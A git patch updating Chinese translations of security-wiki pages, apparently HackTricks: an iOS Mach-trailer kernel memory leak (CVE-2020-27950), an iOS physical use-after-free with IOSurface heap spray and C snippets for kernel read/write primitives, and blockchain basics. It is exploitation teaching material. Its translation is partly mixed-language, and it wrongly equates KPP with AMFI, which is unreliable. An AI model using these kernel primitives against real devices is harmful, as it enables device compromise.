From fbba71464f492c2fc148c01fd7853d439a69fbe1 Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 30 Sep 2025 00:16:39 +0000 Subject: [PATCH] Translated ['src/network-services-pentesting/pentesting-web/electron-des --- src/SUMMARY.md | 5 +- .../CVE-2020-27950-mach_msg_trailer_t.md | 30 +-- .../ios-physical-uaf-iosurface.md | 167 +++++++------ .../README.md | 156 ++++++------ .../defi-amm-hook-precision.md | 160 ++++++++++++ .../blockchain-and-crypto-currencies.md | 182 -------------- .../electron-desktop-apps/README.md | 234 +++++++++--------- 7 files changed, 459 insertions(+), 475 deletions(-) create mode 100644 src/blockchain/blockchain-and-crypto-currencies/defi-amm-hook-precision.md delete mode 100644 src/crypto-and-stego/blockchain-and-crypto-currencies.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index a0c0a0bb7..9200053c6 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -81,6 +81,7 @@ - [Basic Python](generic-methodologies-and-resources/python/basic-python.md) - [Threat Modeling](generic-methodologies-and-resources/threat-modeling.md) - [Blockchain & Crypto](blockchain/blockchain-and-crypto-currencies/README.md) + - [Defi/AMM Hook Precision](blockchain/blockchain-and-crypto-currencies/defi-amm-hook-precision.md) - [Lua Sandbox Escape](generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md) # 🧙‍♂️ Generic Hacking @@ -769,7 +770,7 @@ - [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md) - [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md) - [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md) -- [ROP & JOP](binary-exploitation/rop-return-oriented-programing/README.md) + - [ROP and JOP](binary-exploitation/rop-return-oriented-programing/README.md) - [BROP - Blind Return Oriented Programming](binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md) - [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md) - [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md) @@ -846,7 +847,6 @@ - [ios Heap Exploitation](binary-exploitation/ios-exploiting/ios-example-heap-exploit.md) - [ios Physical UAF - IOSurface](binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md) - # 🤖 AI - [AI Security](AI/README.md) - [Ai Assisted Fuzzing And Vulnerability Discovery](AI/AI-Assisted-Fuzzing-and-Vulnerability-Discovery.md) @@ -895,7 +895,6 @@ - [RC4 - Encrypt\&Decrypt](crypto-and-stego/rc4-encrypt-and-decrypt.md) - [Stego Tricks](crypto-and-stego/stego-tricks.md) - [Esoteric languages](crypto-and-stego/esoteric-languages.md) -- [Blockchain & Crypto Currencies](crypto-and-stego/blockchain-and-crypto-currencies.md) # ✍️ TODO diff --git a/src/binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md b/src/binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md index a40ffffa2..a8cde77d7 100644 --- a/src/binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md +++ b/src/binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md @@ -5,11 +5,11 @@ ## 漏洞 -你可以在 [great explanation of the vuln here](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak) 找到很好的漏洞解释，但总结如下： +你可以在 [great explanation of the vuln here](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak) 找到很好的解释，但总结如下： -内核接收的每个 Mach 消息都以一个 **"trailer"** 结尾：一个可变长度的 struct，包含元数据（seqno、sender token、audit token、context、access control data、labels...）。内核**总是在消息缓冲区中为最大的可能 trailer**（MAX_TRAILER_SIZE）保留空间，但**只初始化部分字段**，随后又根据**用户可控的接收选项**决定返回哪个 trailer 大小。 +内核接收到的每个 Mach message 都以一个 **"trailer"** 结尾：一个包含元数据（seqno, sender token, audit token, context, access control data, labels...）的可变长度 struct。内核**总是为最大可能的 trailer** (MAX_TRAILER_SIZE) 在消息缓冲区中保留空间，但**只初始化部分字段**，然后根据**用户控制的接收选项**决定返回哪个 trailer 大小。 -以下是与 trailer 相关的 structs： +These are the trailer relevant structs: ```c typedef struct{ mach_msg_trailer_type_t msgh_trailer_type; @@ -31,7 +31,7 @@ msg_labels_t msgh_labels; typedef mach_msg_mac_trailer_t mach_msg_max_trailer_t; #define MAX_TRAILER_SIZE ((mach_msg_size_t)sizeof(mach_msg_max_trailer_t)) ``` -然后，当 trailer object 被生成时，仅初始化了部分字段，并且始终为 max trailer size 预留了空间： +然后，当 trailer 对象被生成时，只有部分字段被初始化，并且始终保留 max trailer size： ```c trailer = (mach_msg_max_trailer_t *) ((vm_offset_t)kmsg->ikm_header + size); trailer->msgh_sender = current_thread()->task->sec_token; @@ -41,7 +41,7 @@ trailer->msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE; [...] trailer->msgh_labels.sender = 0; ``` -例如，当尝试使用 `mach_msg()` 读取一个 mach 消息时，会调用函数 `ipc_kmsg_add_trailer()` 将 trailer 附加到消息。在该函数内部，会计算 trailer 的大小并填充其他一些 trailer 字段： +然后，例如，当尝试使用 `mach_msg()` 读取 mach message 时，会调用函数 `ipc_kmsg_add_trailer()` 来将 trailer 附加到消息。 在该函数内部，会计算 trailer 的大小并填充其他一些 trailer 字段： ```c if (!(option & MACH_RCV_TRAILER_MASK)) { [3] return trailer->msgh_trailer_size; @@ -51,9 +51,9 @@ trailer->msgh_seqno = seqno; trailer->msgh_context = context; trailer->msgh_trailer_size = REQUESTED_TRAILER_SIZE(thread_is_64bit_addr(thread), option); ``` -`option` 参数由用户控制，因此**需要传入一个能通过 `if` 检查的值。** +The `option` 参数由用户控制，因此 **需要传入一个能够通过 `if` 检查的值。** -要通过此检查，我们需要发送一个有效且受支持的 `option`： +要通过此检查，我们需要发送一个受支持的有效 `option`： ```c #define MACH_RCV_TRAILER_NULL 0 #define MACH_RCV_TRAILER_SEQNO 1 @@ -67,9 +67,9 @@ trailer->msgh_trailer_size = REQUESTED_TRAILER_SIZE(thread_is_64bit_addr(thread) #define MACH_RCV_TRAILER_ELEMENTS(x) (((x) & 0xf) << 24) #define MACH_RCV_TRAILER_MASK ((0xf << 24)) ``` -但是，因为 `MACH_RCV_TRAILER_MASK` 只是检查位，我们可以传入任何介于 `0` 和 `8` 之间的值，从而不会进入 if 语句。 +但是，由于 `MACH_RCV_TRAILER_MASK` 只是检查位，我们可以传递任何介于 `0` 和 `8` 之间的值，从而不进入 `if` 语句。 -然后，继续查看代码可以发现： +然后，继续查看代码你会发现： ```c if (GET_RCV_ELEMENTS(option) >= MACH_RCV_TRAILER_AV) { trailer->msgh_ad = 0; @@ -92,19 +92,19 @@ ipc_kmsg_munge_trailer(trailer, real_trailer_out, thread_is_64bit_addr(thread)); return trailer->msgh_trailer_size; ``` -可以看到，如果 `option` 大于或等于 `MACH_RCV_TRAILER_AV` (7)，字段 **`msgh_ad`** 会被初始化为 `0`。 +你可以看到，如果 `option` 大于或等于 `MACH_RCV_TRAILER_AV` (7)，字段 **`msgh_ad`** 会被初始化为 `0`。 -如果你注意到，**`msgh_ad`** 仍然是 trailer 中唯一之前未被初始化的字段，这可能包含来自先前使用的内存的 leak。 +如果你注意到，**`msgh_ad`** 仍然是 trailer 中唯一未被初始化的字段，可能包含先前使用内存的 leak。 -因此，避免初始化它的方法是传入 `option` 值为 `5` 或 `6`，这样它会通过第一个 `if` 检查且不会进入初始化 `msgh_ad` 的 `if`，因为值 `5` 和 `6` 没有与之关联的任何 trailer 类型。 +因此，避免初始化它的方法是传入 `option` 值为 `5` 或 `6`，这样可以通过第一个 `if` 检查，并不会进入初始化 `msgh_ad` 的 `if`，因为值 `5` 和 `6` 并未关联任何 trailer 类型。 ### 基本 PoC -在 [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak) 中，你可以找到一个用于 leak 一些随机数据的 PoC。 +在 [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak) 中，有一个 PoC 用于 leak 一些随机数据。 ### Leak 内核地址 PoC -在 [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak) 中，你可以找到一个用于 leak 内核地址的 PoC。为此，消息中发送了大量 `mach_msg_port_descriptor_t` 结构体，因为该结构体在用户态中 `name` 字段是 unsigned int，但在内核中 `name` 字段是 struct `ipc_port` 指针。因此，在内核处理中向消息中发送数十个这样的结构体将意味着在消息中 **添加多个内核地址**，从而可以泄露其中一个。 +在 [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak) 中，有一个 PoC 用于 leak 一个内核地址。为此，会在消息中发送充满 `mach_msg_port_descriptor_t` 结构的消息，因为该结构在用户态的 `name` 字段包含一个 unsigned int，但在内核中 `name` 字段是一个 struct `ipc_port` 指针。因此，向内核中的消息发送数十个这样的结构将意味着 **在消息中添加多个内核地址**，从而可以 leak 其中的一个。 已添加注释以便更好理解： ```c @@ -326,7 +326,7 @@ return 0; ``` ## 参考资料 -- [Synacktiv 的博客文章](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak) +- [Synacktiv's blog post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md b/src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md index 59f92dc98..cfbb5bb19 100644 --- a/src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md +++ b/src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md @@ -3,109 +3,108 @@ {{#include ../../banners/hacktricks-training.md}} -## iOS Exploit Mitigations +## iOS 漏洞缓解 -- **Code Signing** in iOS works by requiring every piece of executable code (apps, libraries, extensions, etc.) to be cryptographically signed with a certificate issued by Apple. When code is loaded, iOS verifies the digital signature against Apple’s trusted root. If the signature is invalid, missing, or modified, the OS refuses to run it. This prevents attackers from injecting malicious code into legitimate apps or running unsigned binaries, effectively stopping most exploit chains that rely on executing arbitrary or tampered code. -- **CoreTrust** is the iOS subsystem responsible for enforcing code signing at runtime. It directly verifies signatures using Apple’s root certificate without relying on cached trust stores, meaning only binaries signed by Apple (or with valid entitlements) can execute. CoreTrust ensures that even if an attacker tampers with an app after installation, modifies system libraries, or tries to load unsigned code, the system will block execution unless the code is still properly signed. This strict enforcement closes many post-exploitation vectors that older iOS versions allowed through weaker or bypassable signature checks. -- **Data Execution Prevention (DEP)** marks memory regions as non-executable unless they explicitly contain code. This stops attackers from injecting shellcode into data regions (like the stack or heap) and running it, forcing them to rely on more complex techniques like ROP (Return-Oriented Programming). -- **ASLR (Address Space Layout Randomization)** randomizes the memory addresses of code, libraries, stack, and heap every time the system runs. This makes it much harder for attackers to predict where useful instructions or gadgets are, breaking many exploit chains that depend on fixed memory layouts. -- **KASLR (Kernel ASLR)** applies the same randomization concept to the iOS kernel. By shuffling the kernel’s base address at each boot, it prevents attackers from reliably locating kernel functions or structures, raising the difficulty of kernel-level exploits that would otherwise gain full system control. -- **Kernel Patch Protection (KPP)** also known as **AMCC (Apple Mobile File Integrity)** in iOS, continuously monitors the kernel’s code pages to ensure they haven’t been modified. If any tampering is detected—such as an exploit trying to patch kernel functions or insert malicious code—the device will immediately panic and reboot. This protection makes persistent kernel exploits far harder, as attackers can’t simply hook or patch kernel instructions without triggering a system crash. -- **Kernel Text Readonly Region (KTRR)** is a hardware-based security feature introduced on iOS devices. It uses the CPU’s memory controller to mark the kernel’s code (text) section as permanently read-only after boot. Once locked, even the kernel itself cannot modify this memory region. This prevents attackers—and even privileged code—from patching kernel instructions at runtime, closing off a major class of exploits that relied on modifying kernel code directly. -- **Pointer Authentication Codes (PAC)** use cryptographic signatures embedded into unused bits of pointers to verify their integrity before use. When a pointer (like a return address or function pointer) is created, the CPU signs it with a secret key; before dereferencing, the CPU checks the signature. If the pointer was tampered with, the check fails and execution stops. This prevents attackers from forging or reusing corrupted pointers in memory corruption exploits, making techniques like ROP or JOP much harder to pull off reliably. -- **Privilege Access never (PAN)** is a hardware feature that prevents the kernel (privileged mode) from directly accessing user-space memory unless it explicitly enables access. This stops attackers who gained kernel code execution from easily reading or writing user memory to escalate exploits or steal sensitive data. By enforcing strict separation, PAN reduces the impact of kernel exploits and blocks many common privilege-escalation techniques. -- **Page Protection Layer (PPL)** is an iOS security mechanism that protects critical kernel-managed memory regions, especially those related to code signing and entitlements. It enforces strict write protections using the MMU (Memory Management Unit) and additional checks, ensuring that even privileged kernel code cannot arbitrarily modify sensitive pages. This prevents attackers who gain kernel-level execution from tampering with security-critical structures, making persistence and code-signing bypasses significantly harder. +- **Code Signing** 在 iOS 中的工作方式是要求每一段可执行代码（apps, libraries, extensions 等）都必须用 Apple 签发的证书进行加密签名。代码加载时，iOS 会将数字签名与 Apple 的受信任根证书进行验证。如果签名无效、缺失或被修改，操作系统会拒绝运行该代码。这防止了攻击者向合法应用注入恶意代码或运行未签名的二进制文件，有效阻止了依赖执行任意或被篡改代码的大多数利用链。 +- **CoreTrust** 是 iOS 负责在运行时强制执行代码签名的子系统。它直接使用 Apple 的根证书验证签名，而不依赖缓存的信任存储，这意味着只有由 Apple 签名（或具有有效 entitlements）的二进制才能执行。CoreTrust 确保即使攻击者在安装后篡改应用、修改系统库或尝试加载未签名代码，系统也会阻止执行，除非代码仍然正确签名。这种严格的强制执行关闭了旧版 iOS 中通过较弱或可绕过签名检查实现的许多事后利用途径。 +- **Data Execution Prevention (DEP)** 将内存区域标记为不可执行，除非它们显式包含代码。这阻止攻击者在数据区域（如栈或堆）中注入 shellcode 并执行，迫使攻击者依赖更复杂的技术如 ROP（Return-Oriented Programming）。 +- **ASLR (Address Space Layout Randomization)** 每次系统运行时都会随机化代码、库、栈和堆的内存地址布局。这使得攻击者更难预测有用指令或 gadget 的位置，从而破坏许多依赖固定内存布局的利用链。 +- **KASLR (Kernel ASLR)** 将相同的随机化概念应用于 iOS 内核。通过在每次引导时打乱内核基地址，它阻止攻击者可靠地定位内核函数或结构，增加了实现内核级利用以获取完全系统控制的难度。 +- **Kernel Patch Protection (KPP)** 也称为 **AMCC (Apple Mobile File Integrity)**，持续监控内核的代码页以确保其未被修改。如果检测到篡改——例如利用尝试修补内核函数或插入恶意代码——设备会立即 panic 并重启。这种保护使得持久化内核利用变得更加困难，因为攻击者无法在不触发系统崩溃的情况下简单地 hook 或修补内核指令。 +- **Kernel Text Readonly Region (KTRR)** 是在 iOS 设备上引入的基于硬件的安全功能。它使用 CPU 的内存控制器在引导后将内核的代码（text）段标记为永久只读。一旦锁定，即使是内核自身也不能修改该内存区域。这阻止了攻击者——甚至是有特权的代码——在运行时修补内核指令，关闭了依赖直接修改内核代码的主要利用途径。 +- **Pointer Authentication Codes (PAC)** 利用嵌入在指针未使用位上的加密签名来在使用前验证指针完整性。当创建指针（如返回地址或函数指针）时，CPU 会使用一个秘密密钥对其进行签名；在解引用之前，CPU 会检查该签名。如果指针被篡改，检查会失败并停止执行。这阻止了攻击者在内存损坏利用中伪造或重用被破坏的指针，使得像 ROP 或 JOP 这样的技术更难可靠实施。 +- **Privilege Access never (PAN)** 是一项硬件功能，防止内核（特权模式）在未显式启用访问的情况下直接访问用户空间内存。这阻止了获得内核代码执行的攻击者轻易读取或写入用户内存以升级利用或窃取敏感数据。通过强制严格的隔离，PAN 降低了内核利用的影响并阻止了许多常见的权限提升技术。 +- **Page Protection Layer (PPL)** 是一项 iOS 安全机制，用于保护关键的由内核管理的内存区域，特别是与代码签名和 entitlements 相关的区域。它使用 MMU（内存管理单元）和额外检查来强制严格的写保护，确保即使是有特权的内核代码也不能任意修改敏感页面。这阻止了获得内核级执行权限的攻击者篡改安全关键的结构，使持久化和绕过代码签名变得显著困难。 +## 物理 use-after-free -## Physical use-after-free +这是对帖子 [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) 的摘要，更多关于使用此技术的利用信息可见于 [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd) -This is a summary from the post from [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) moreover further information about exploit using this technique can be found in [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd) +### 内存管理在 XNU -### Memory management in XNU +iOS 上用户进程的 **虚拟内存地址空间** 范围是从 **0x0 到 0x8000000000**。但是，这些地址并不直接映射到物理内存。相反，**内核** 使用 **页表** 将虚拟地址转换为实际的 **物理地址**。 -The **virtual memory address space** for user processes on iOS spans from **0x0 to 0x8000000000**. However, these addresses don’t directly map to physical memory. Instead, the **kernel** uses **page tables** to translate virtual addresses into actual **physical addresses**. +#### iOS 中的页表级别 -#### Levels of Page Tables in iOS +页表以三层层级组织： -Page tables are organized hierarchically in three levels: +1. **L1 Page Table (Level 1)**： +* 此处的每个条目代表一大段虚拟内存范围。 +* 它覆盖 **0x1000000000 字节**（或 **256 GB**）的虚拟内存。 +2. **L2 Page Table (Level 2)**： +* 此处的每个条目代表更小的虚拟内存区域，具体为 **0x2000000 字节**（32 MB）。 +* 如果 L1 条目无法自行映射整个区域，它可能指向一个 L2 表。 +3. **L3 Page Table (Level 3)**： +* 这是最细的级别，每个条目映射一个 **4 KB** 的内存页。 +* 如果需要更细粒度的控制，L2 条目可能指向 L3 表。 -1. **L1 Page Table (Level 1)**: -* Each entry here represents a large range of virtual memory. -* It covers **0x1000000000 bytes** (or **256 GB**) of virtual memory. -2. **L2 Page Table (Level 2)**: -* An entry here represents a smaller region of virtual memory, specifically **0x2000000 bytes** (32 MB). -* An L1 entry may point to an L2 table if it can't map the entire region itself. -3. **L3 Page Table (Level 3)**: -* This is the finest level, where each entry maps a single **4 KB** memory page. -* An L2 entry may point to an L3 table if more granular control is needed. +#### 虚拟到物理内存的映射 -#### Mapping Virtual to Physical Memory +* **Direct Mapping (Block Mapping)**： +* 页表中的某些条目直接将一段虚拟地址范围映射到连续的物理地址范围（类似捷径）。 +* **Pointer to Child Page Table**： +* 如果需要更细的控制，一个级别（例如 L1）中的条目可以指向下一级（例如 L2）的子页表。 -* **Direct Mapping (Block Mapping)**: -* Some entries in a page table directly **map a range of virtual addresses** to a contiguous range of physical addresses (like a shortcut). -* **Pointer to Child Page Table**: -* If finer control is needed, an entry in one level (e.g., L1) can point to a **child page table** at the next level (e.g., L2). +#### 示例：映射一个虚拟地址 -#### Example: Mapping a Virtual Address +假设你尝试访问虚拟地址 **0x1000000000**： -Let’s say you try to access the virtual address **0x1000000000**: +1. **L1 表**： +* 内核检查对应此虚拟地址的 L1 页表条目。如果它有一个指向 L2 页表的 **指针**，则转到该 L2 表。 +2. **L2 表**： +* 内核检查 L2 页表以获得更详细的映射。如果该条目指向一个 **L3 页表**，则继续到 L3。 +3. **L3 表**： +* 内核查找最终的 L3 条目，该条目指向实际内存页的 **物理地址**。 -1. **L1 Table**: -* The kernel checks the L1 page table entry corresponding to this virtual address. If it has a **pointer to an L2 page table**, it goes to that L2 table. -2. **L2 Table**: -* The kernel checks the L2 page table for a more detailed mapping. If this entry points to an **L3 page table**, it proceeds there. -3. **L3 Table**: -* The kernel looks up the final L3 entry, which points to the **physical address** of the actual memory page. +#### 地址映射示例 -#### Example of Address Mapping +如果你在 L2 表的第一个索引写入物理地址 **0x800004000**，那么： -If you write the physical address **0x800004000** into the first index of the L2 table, then: +* 虚拟地址从 **0x1000000000** 到 **0x1002000000** 会映射到物理地址从 **0x800004000** 到 **0x802004000**。 +* 这是在 L2 级别的 **block mapping**。 -* Virtual addresses from **0x1000000000** to **0x1002000000** map to physical addresses from **0x800004000** to **0x802004000**. -* This is a **block mapping** at the L2 level. +或者，如果 L2 条目指向一个 L3 表： -Alternatively, if the L2 entry points to an L3 table: +* 虚拟地址范围 **0x1000000000 -> 0x1002000000** 中的每个 4 KB 页面将由 L3 表中的各个条目逐个映射。 -* Each 4 KB page in the virtual address range **0x1000000000 -> 0x1002000000** would be mapped by individual entries in the L3 table. +### 物理 use-after-free -### Physical use-after-free +物理 **use-after-free（UAF）** 发生在以下情况： -A **physical use-after-free** (UAF) occurs when: +1. 进程将某段内存 **分配** 为可读写。 +2. **页表** 被更新以将该内存映射到进程可以访问的特定物理地址。 +3. 进程 **释放（deallocate）** 该内存。 +4. 然而，由于一个 **bug**，内核 **忘记从页表中移除该映射**，即使它将相应的物理内存标记为空闲。 +5. 内核随后可能 **重新分配** 这块“已释放”的物理内存用于其他用途，例如 **内核数据**。 +6. 由于映射未被移除，进程仍然可以 **读写** 这块物理内存。 -1. A process **allocates** some memory as **readable and writable**. -2. The **page tables** are updated to map this memory to a specific physical address that the process can access. -3. The process **deallocates** (frees) the memory. -4. However, due to a **bug**, the kernel **forgets to remove the mapping** from the page tables, even though it marks the corresponding physical memory as free. -5. The kernel can then **reallocate this "freed" physical memory** for other purposes, like **kernel data**. -6. Since the mapping wasn’t removed, the process can still **read and write** to this physical memory. - -This means the process can access **pages of kernel memory**, which could contain sensitive data or structures, potentially allowing an attacker to **manipulate kernel memory**. +这意味着进程可以访问 **内核内存页**，其中可能包含敏感数据或结构，潜在地允许攻击者 **操纵内核内存**。 ### IOSurface Heap Spray -Since the attacker can’t control which specific kernel pages will be allocated to freed memory, they use a technique called **heap spray**: +由于攻击者无法控制将被分配到已释放内存的具体内核页面，他们使用一种叫做 **heap spray** 的技术： -1. The attacker **creates a large number of IOSurface objects** in kernel memory. -2. Each IOSurface object contains a **magic value** in one of its fields, making it easy to identify. -3. They **scan the freed pages** to see if any of these IOSurface objects landed on a freed page. -4. When they find an IOSurface object on a freed page, they can use it to **read and write kernel memory**. +1. 攻击者在内核内存中 **创建大量 IOSurface 对象**。 +2. 每个 IOSurface 对象在其某个字段中包含一个 **magic value**，便于识别。 +3. 他们 **扫描已释放的页面**，查看这些 IOSurface 对象是否落在已释放页面上。 +4. 当他们在已释放页面上找到一个 IOSurface 对象时，就可以利用它来 **读写内核内存**。 -More info about this in [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups) +更多信息见 [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups) > [!TIP] -> Be aware that iOS 16+ (A12+) devices bring hardware mitigations (like PPL or SPTM) that make physical UAF techniques far less viable. -> PPL enforces strict MMU protections on pages related to code signing, entitlements, and sensitive kernel data, so, even if a page gets reused, writes from userland or compromised kernel code to PPL-protected pages are blocked. -> Secure Page Table Monitor (SPTM) extends PPL by hardening page table updates themselves. It ensures that even privileged kernel code cannot silently remap freed pages or tamper with mappings without going through secure checks. -> KTRR (Kernel Text Read-Only Region), which locks down the kernel’s code section as read-only after boot. This prevents any runtime modifications to kernel code, closing off a major attack vector that physical UAF exploits often rely on. -> Moreover, `IOSurface` allocations are less predictable and harder to map into user-accessible regions, which makes the “magic value scanning” trick much less reliable. And `IOSurface` is now guarded by entitlements and sandbox restrictions. +> 注意 iOS 16+（A12+）设备引入了硬件缓解（如 PPL 或 SPTM），这使得物理 UAF 技术的可行性大大降低。 +> PPL 对与代码签名、entitlements 以及敏感内核数据相关的页面实施严格的 MMU 保护，因此即使页面被重用，来自 userland 或被妥协的内核代码对 PPL 保护页面的写入也会被阻止。 +> Secure Page Table Monitor (SPTM) 通过加强页表更新本身来扩展 PPL。它确保即使是有特权的内核代码也不能在不经过安全检查的情况下悄无声息地重映射已释放页面或篡改映射。 +> KTRR（Kernel Text Read-Only Region）在引导后将内核的代码段锁定为只读。这阻止了对内核代码的任何运行时修改，关闭了物理 UAF 利用经常依赖的一个主要攻击向量。 +> 此外，`IOSurface` 的分配现在更不可预测，也更难将其映射到用户可访问的区域，这使得“magic value 扫描”技巧可靠性大大降低。而且 `IOSurface` 现在受 entitlements 和 sandbox 限制的保护。 ### Step-by-Step Heap Spray Process -1. **Spray IOSurface Objects**: The attacker creates many IOSurface objects with a special identifier ("magic value"). -2. **Scan Freed Pages**: They check if any of the objects have been allocated on a freed page. -3. **Read/Write Kernel Memory**: By manipulating fields in the IOSurface object, they gain the ability to perform **arbitrary reads and writes** in kernel memory. This lets them: -* Use one field to **read any 32-bit value** in kernel memory. -* Use another field to **write 64-bit values**, achieving a stable **kernel read/write primitive**. +1. **Spray IOSurface Objects**：攻击者创建大量带有特殊标识符（“magic value”）的 IOSurface 对象。 +2. **Scan Freed Pages**：他们检查是否有对象被分配到了已释放的页面上。 +3. **Read/Write Kernel Memory**：通过操纵 IOSurface 对象中的字段，他们获得在内核内存中执行 **任意读写** 的能力。这样他们可以： +* 使用一个字段来 **读取内核内存中的任意 32-bit 值**。 +* 使用另一个字段来 **写入 64-bit 值**，从而实现稳定的 **kernel read/write primitive**。 Generate IOSurface objects with the magic value IOSURFACE\_MAGIC to later search for: ```c @@ -164,22 +163,22 @@ return 0; ``` ### 使用 IOSurface 实现内核读/写 -在内核内存中获得对一个 IOSurface 对象的控制之后（该对象映射到一个已释放的物理页并可从用户态访问），我们可以利用它进行 **任意内核读写操作**。 +在对位于内核内存中的 IOSurface 对象（映射到可从 userspace 访问的已释放物理页）取得控制权后，我们可以用它进行 **任意内核读写操作**。 -**IOSurface 的关键字段** +**IOSurface 中的关键字段** IOSurface 对象有两个关键字段： -1. **Use Count Pointer**：允许 **32 位读取**。 -2. **Indexed Timestamp Pointer**：允许 **64 位写入**。 +1. **Use Count Pointer**：允许进行 **32-bit read**。 +2. **Indexed Timestamp Pointer**：允许进行 **64-bit write**。 -通过覆盖这些指针，将它们重定向到内核内存中的任意地址，从而实现读/写能力。 +通过覆盖这些指针，我们可以将它们重定向到内核内存中的任意地址，从而实现读/写能力。 -#### 32 位内核读取 +#### 32-Bit 内核读取 -要执行读取： +要进行读取： -1. 覆写 **use count pointer**，使其指向目标地址减去 0x14 字节的偏移处。 +1. 覆盖 **use count pointer**，使其指向目标地址减去 0x14-byte offset。 2. 使用 `get_use_count` 方法读取该地址处的值。 ```c uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) { @@ -198,7 +197,7 @@ iosurface_set_use_count_pointer(info.object, orig); return value; } ``` -#### 64 位 内核写入 +#### 64-Bit Kernel Write 要执行写入： @@ -217,13 +216,13 @@ set_indexed_timestamp(info.client, info.surface, value); iosurface_set_indexed_timestamp_pointer(info.object, orig); } ``` -#### 利用流程回顾 +#### 漏洞利用流程回顾 -1. **Trigger Physical Use-After-Free**: 释放的页面可供重用。 -2. **Spray IOSurface Objects**: 在内核内存中分配大量带有唯一 "magic value" 的 IOSurface 对象。 +1. **Trigger Physical Use-After-Free**: 释放的页面可被重用。 +2. **Spray IOSurface Objects**: 在 kernel memory 中分配大量带有唯一 "magic value" 的 IOSurface 对象。 3. **Identify Accessible IOSurface**: 在你控制的已释放页面上定位一个 IOSurface。 4. **Abuse Use-After-Free**: 修改 IOSurface 对象中的指针，通过 IOSurface 方法实现任意 **kernel read/write**。 -使用这些原语，利用程序可对内核内存进行受控的 **32-bit reads** 和 **64-bit writes**。后续的 jailbreak 步骤可能需要更稳定的读/写原语，这可能要求绕过额外的防护（例如在更新的 arm64e 设备上绕过 PPL）。 +借助这些原语，该漏洞利用能够对 kernel memory 进行受控的 **32-bit reads** 与 **64-bit writes**。进一步的 jailbreak 步骤可能需要更稳定的 read/write 原语，这可能需要绕过额外的保护（例如在较新的 arm64e 设备上的 PPL）。 {{#include ../../banners/hacktricks-training.md}} diff --git a/src/blockchain/blockchain-and-crypto-currencies/README.md b/src/blockchain/blockchain-and-crypto-currencies/README.md index 1e4e895af..3b0b37f99 100644 --- a/src/blockchain/blockchain-and-crypto-currencies/README.md +++ b/src/blockchain/blockchain-and-crypto-currencies/README.md @@ -1,176 +1,178 @@ +# 区块链与加密货币 + {{#include ../../banners/hacktricks-training.md}} ## 基本概念 -- **智能合约** 被定义为在区块链上执行的程序，当满足特定条件时，自动化协议执行，无需中介。 -- **去中心化应用（dApps）** 基于智能合约，具有用户友好的前端和透明、可审计的后端。 -- **代币与币** 的区别在于，币作为数字货币，而代币在特定上下文中代表价值或所有权。 -- **实用代币** 授予对服务的访问权限，而 **安全代币** 表示资产所有权。 -- **DeFi** 代表去中心化金融，提供无中央权威的金融服务。 -- **DEX** 和 **DAO** 分别指去中心化交易平台和去中心化自治组织。 +- **Smart Contracts** 指在满足特定条件时在区块链上执行的程序，能够在无需中介的情况下自动履行协议。 +- **Decentralized Applications (dApps)** 基于智能合约构建，具有用户友好的前端和透明、可审计的后端。 +- **Tokens & Coins** 区分代币与币：coins 用作数字货币，而 tokens 在特定语境中表示价值或所有权。 +- **Utility Tokens** 授予对服务的访问权，**Security Tokens** 则表示资产所有权。 +- **DeFi** 代表 Decentralized Finance，提供无需中央机构的金融服务。 +- **DEX** 和 **DAOs** 分别指去中心化交易平台和去中心化自治组织。 ## 共识机制 -共识机制确保区块链上安全和一致的交易验证： +共识机制确保区块链上交易验证的安全性和一致性： -- **工作量证明（PoW）** 依赖计算能力进行交易验证。 -- **权益证明（PoS）** 要求验证者持有一定数量的代币，相比于PoW减少能耗。 +- **Proof of Work (PoW)** 依赖计算能力来验证交易。 +- **Proof of Stake (PoS)** 要求验证者持有一定数量的代币，与 PoW 相比降低了能耗。 